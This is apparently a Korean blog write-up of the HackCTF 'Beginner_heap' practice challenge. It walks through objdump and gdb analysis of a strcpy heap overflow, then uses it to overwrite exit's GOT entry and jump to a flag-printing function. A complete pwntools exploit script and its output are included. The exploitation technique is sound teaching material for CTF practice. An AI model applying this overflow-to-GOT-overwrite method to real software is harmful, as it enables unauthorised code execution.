시작
안녕하세요 :D
오늘은!! 월요일이지만 사무실이 쉬는 날!! 맘껏 포너블 할 수 있어요 ㅎㅎㅎㅎㅎ
드디어 힙 문제가 나왔습니다!!
Beginner가 붙어 있으니깐 쉬운 문제일 거에요 ㅋㅋ
시작해보죠!
Write UP
root@goorm:/workspace/LCH_Server/HackCTF/17.Beginner_heap# ./beginner_heap.bin
aaaa
aaaa
입력 두 개를 받습니다.
gdb-peda$ info func
All defined functions:
Non-debugging symbols:
0x0000000000400670 free@plt
0x0000000000400680 _exit@plt
0x0000000000400690 strcpy@plt
0x00000000004006a0 puts@plt
0x00000000004006b0 __libc_start_main@plt
0x00000000004006c0 fgets@plt
0x00000000004006d0 malloc@plt
0x00000000004006e0 fflush@plt
0x00000000004006f0 fopen@plt
0x0000000000400700 getline@plt
0x0000000000400710 exit@plt
main()이 없네요?
IDA도 없으니깐.. objdump로 텍스트 영역을 봐야할 것 같습니다.
4008a8: 55 push rbp
4008a9: 48 89 e5 mov rbp,rsp
4008ac: 48 81 ec 30 10 00 00 sub rsp,0x1030
4008b3: 89 bd dc ef ff ff mov DWORD PTR [rbp-0x1024],edi
4008b9: 48 89 b5 d0 ef ff ff mov QWORD PTR [rbp-0x1030],rsi
4008c0: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28
4008c7: 00 00
4008c9: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
4008cd: 31 c0 xor eax,eax
4008cf: bf 10 00 00 00 mov edi,0x10
4008d4: e8 f7 fd ff ff call 4006d0 <malloc@plt>
.
.
뭔가 main()의 느낌이 솔솔 납니다.
.
.
4008cd: 31 c0 xor eax,eax
4008cf: bf 10 00 00 00 mov edi,0x10
4008d4: e8 f7 fd ff ff call 4006d0 <malloc@plt>
4008d9: 48 89 85 e0 ef ff ff mov QWORD PTR [rbp-0x1020],rax
4008e0: 48 8b 85 e0 ef ff ff mov rax,QWORD PTR [rbp-0x1020]
4008e7: c7 00 01 00 00 00 mov DWORD PTR [rax],0x1
4008ed: bf 08 00 00 00 mov edi,0x8
4008f2: e8 d9 fd ff ff call 4006d0 <malloc@plt>
4008f7: 48 89 c2 mov rdx,rax
4008fa: 48 8b 85 e0 ef ff ff mov rax,QWORD PTR [rbp-0x1020]
400901: 48 89 50 08 mov QWORD PTR [rax+0x8],rdx
400905: bf 10 00 00 00 mov edi,0x10
40090a: e8 c1 fd ff ff call 4006d0 <malloc@plt>
40090f: 48 89 85 e8 ef ff ff mov QWORD PTR [rbp-0x1018],rax
400916: 48 8b 85 e8 ef ff ff mov rax,QWORD PTR [rbp-0x1018]
40091d: c7 00 02 00 00 00 mov DWORD PTR [rax],0x2
400923: bf 08 00 00 00 mov edi,0x8
400928: e8 a3 fd ff ff call 4006d0 <malloc@plt>
40092d: 48 89 c2 mov rdx,rax
400930: 48 8b 85 e8 ef ff ff mov rax,QWORD PTR [rbp-0x1018]
400937: 48 89 50 08 mov QWORD PTR [rax+0x8],rdx
40093b: 48 8b 15 4e 07 20 00 mov rdx,QWORD PTR [rip+0x20074e] # 601090
400942: 48 8d 85 f0 ef ff ff lea rax,[rbp-0x1010]
400949: be 00 10 00 00 mov esi,0x1000
40094e: 48 89 c7 mov rdi,rax
400951: e8 6a fd ff ff call 4006c0 <fgets@plt>
400956: 48 8b 85 e0 ef ff ff mov rax,QWORD PTR [rbp-0x1020]
40095d: 48 8b 40 08 mov rax,QWORD PTR [rax+0x8]
400961: 48 8d 95 f0 ef ff ff lea rdx,[rbp-0x1010]
400968: 48 89 d6 mov rsi,rdx
40096b: 48 89 c7 mov rdi,rax
40096e: e8 1d fd ff ff call 400690 <strcpy@plt>
400973: 48 8b 15 16 07 20 00 mov rdx,QWORD PTR [rip+0x200716] # 601090
40097a: 48 8d 85 f0 ef ff ff lea rax,[rbp-0x1010]
400981: be 00 10 00 00 mov esi,0x1000
400986: 48 89 c7 mov rdi,rax
400989: e8 32 fd ff ff call 4006c0 <fgets@plt>
40098e: 48 8b 85 e8 ef ff ff mov rax,QWORD PTR [rbp-0x1018]
400995: 48 8b 40 08 mov rax,QWORD PTR [rax+0x8]
400999: 48 8d 95 f0 ef ff ff lea rdx,[rbp-0x1010]
4009a0: 48 89 d6 mov rsi,rdx
4009a3: 48 89 c7 mov rdi,rax
4009a6: e8 e5 fc ff ff call 400690 <strcpy@plt>
4009ab: bf 00 00 00 00 mov edi,0x0
4009b0: e8 5b fd ff ff call 400710 <exit@plt>
되게 정신없어 보이지만 막상 한 줄씩 짚어보면 별 거 없어요.
(1번)malloc(0x10) → (2번)malloc(0x8) → (3번)malloc(0x10) → (4번)malloc(0x8)
진행 후
rbp-0x1020에 1번 주소, rbp-0x1018에 3번 주소를 넣습니다.
1번 주소 + 8을 하면 2번 주소가 쓰여있고, 3번 주소 + 8을 하면 4번 주소가 쓰여있어요.
첫 번째 strcpy()를 보면 rbp-0x1020의 값 = 1번 주소를 가져와서 rax에 넣어주고, 이 rax에 8을 더합니다.
결국 2번 주소를 가리키겠죠? 2번 주소에 fgets()로 받은 input을 복사합니다.
두 번째 strcpy()도 rbp-0x1018의 값 = 3번 주소를 가져와서 rax에 넣어주고 마찬가지로 8을 더해 4번 주소에 접근합니다.
fgets()로 받은 input을 복사하며 마무리되는 프로그램이에요.
만약 4번 주소의 힙 영역의 값이 아닌 함수의 got가 들어가있다면 got overwrite가 가능하겠죠?
이걸 이용해서 익스플로잇을 해보겠습니다.
Breakpoint 1, 0x00000000004008d9 in ?? ()
gdb-peda$ x/wx $rax
0x17ee010: 0x00000000
첫 번째 할당되는 힙 영역의 주소는 0x17ee010
입니다. 이후 진행해본 결과 0x20 차이로 4개의 청크가 할당되더라구요.
각각 0x17ee010, 0x17ee030, 0x17ee050, 0x17ee070 로 주소를 줍니다.
gdb-peda$ x/40wx 0x17ee010
0x17ee010: 0x00000001 0x00000000 0x017ee030 0x00000000
0x17ee020: 0x00000000 0x00000000 0x00000021 0x00000000
0x17ee030: 0x00000000 0x00000000 0x00000000 0x00000000
0x17ee040: 0x00000000 0x00000000 0x00000021 0x00000000
0x17ee050: 0x00000002 0x00000000 0x017ee070 0x00000000
0x17ee060: 0x00000000 0x00000000 0x00000021 0x00000000
0x17ee070: 0x00000000 0x00000000 0x00000000 0x00000000
0x17ee080: 0x00000000 0x00000000 0x00020f81 0x00000000
0x17ee090: 0x00000000 0x00000000 0x00000000 0x00000000
힙 영역을 보면 이렇게 되어 있어요.
gdb-peda$ x/20wx $rbp-0x1020
0x7fff51cb02b0: 0x017ee010 0x00000000 0x017ee050 0x00000000
rbp-0x1020 부분은 위와 같이 설정됩니다.
400956: 48 8b 85 e0 ef ff ff mov rax,QWORD PTR [rbp-0x1020]
40095d: 48 8b 40 08 mov rax,QWORD PTR [rax+0x8]
400961: 48 8d 95 f0 ef ff ff lea rdx,[rbp-0x1010]
400968: 48 89 d6 mov rsi,rdx
40096b: 48 89 c7 mov rdi,rax
40096e: e8 1d fd ff ff call 400690 <strcpy@plt>
strcpy() 부분입니다.
rbp-0x1020에 접근 후 8을 더해서 인자로 주는데, 위에서 말한대로 0x17ee030에 데이터를 복사합니다.
얘를 overflow 시켜서 0x17ee070이 적혀 있는 곳을 exit의 got 주소로 덮어쓴다면 strcpy()가 실행될 때 got가 input으로 덮어쓰여질 거에요.
첫 번째 입력에서 0x17ee058 - 0x17ee030 = 0x28 = 40 bytes를 채워주고 exit_got를 넣어주고
두 번째 입력에서 쉘을 떨어뜨리는 함수를 주면 될 것 같습니다.
쉘 함수도 텍스트 영역에서 찾을 수 있습니다.
400826: 55 push rbp
400827: 48 89 e5 mov rbp,rsp
40082a: 48 83 ec 20 sub rsp,0x20
40082e: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28
400835: 00 00
400837: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
40083b: 31 c0 xor eax,eax
40083d: 48 c7 45 e0 00 00 00 mov QWORD PTR [rbp-0x20],0x0
400844: 00
400845: 48 c7 45 e8 00 00 00 mov QWORD PTR [rbp-0x18],0x0
40084c: 00
40084d: be 44 0a 40 00 mov esi,0x400a44
400852: bf 46 0a 40 00 mov edi,0x400a46
400857: e8 94 fe ff ff call 4006f0 <fopen@plt>
40085c: 48 89 45 f0 mov QWORD PTR [rbp-0x10],rax
400860: 48 8b 55 f0 mov rdx,QWORD PTR [rbp-0x10]
400864: 48 8d 4d e8 lea rcx,[rbp-0x18]
400868: 48 8d 45 e0 lea rax,[rbp-0x20]
40086c: 48 89 ce mov rsi,rcx
40086f: 48 89 c7 mov rdi,rax
400872: e8 89 fe ff ff call 400700 <getline@plt>
400877: 48 8b 45 e0 mov rax,QWORD PTR [rbp-0x20]
40087b: 48 89 c7 mov rdi,rax
40087e: e8 1d fe ff ff call 4006a0 <puts@plt>
400883: 48 8b 05 f6 07 20 00 mov rax,QWORD PTR [rip+0x2007f6] # 601080
40088a: 48 89 c7 mov rdi,rax
40088d: e8 4e fe ff ff call 4006e0 <fflush@plt>
400892: 48 8b 45 e0 mov rax,QWORD PTR [rbp-0x20]
400896: 48 89 c7 mov rdi,rax
400899: e8 d2 fd ff ff call 400670 <free@plt>
40089e: bf 01 00 00 00 mov edi,0x1
4008a3: e8 d8 fd ff ff call 400680 <_exit@plt>
gdb-peda$ x/s 0x400a46
0x400a46: "flag"
이 함수의 시작주소인 0x400826을 넣어주면 되겠네요.
코드입니다.
from pwn import *
context.log_level = "debug"
p = remote("ctf.j0n9hyun.xyz", 3016)
payload = ""
flag = 0x400826
exit_got = 0x601068
payload += "A" * 40
payload += p64(exit_got)
p.sendline(payload)
exploit = ""
exploit += p64(flag)
p.sendline(exploit)
p.interactive()
[+] Opening connection to ctf.j0n9hyun.xyz on port 3016: Done
[DEBUG] Sent 0x31 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000020 41 41 41 41 41 41 41 41 68 10 60 00 00 00 00 00 │AAAA│AAAA│h·`·│····│
00000030 0a │·│
00000031
[DEBUG] Sent 0x9 bytes:
00000000 26 08 40 00 00 00 00 00 0a │&·@·│····│·│
00000009
[*] Switching to interactive mode
[DEBUG] Received 0x2e bytes:
'//flag!!'
'\n'
//flag!!
Exploit!!
마무리
쉽게 풀었는데 설명하기가 길었던 문제였습니다 ㅋㅋㅋㅋ
감사합니다 :D
'CTF_Write_UP > HackCTF' 카테고리의 다른 글
[HackCTF] Gift (0) | 2019.09.23 |
---|---|
[HackCTF] Look at me (0) | 2019.09.23 |
[HackCTF] RTL_Core (0) | 2019.09.22 |
[HackCTF] Random Key (0) | 2019.09.22 |
[HackCTF] 1996 (0) | 2019.09.22 |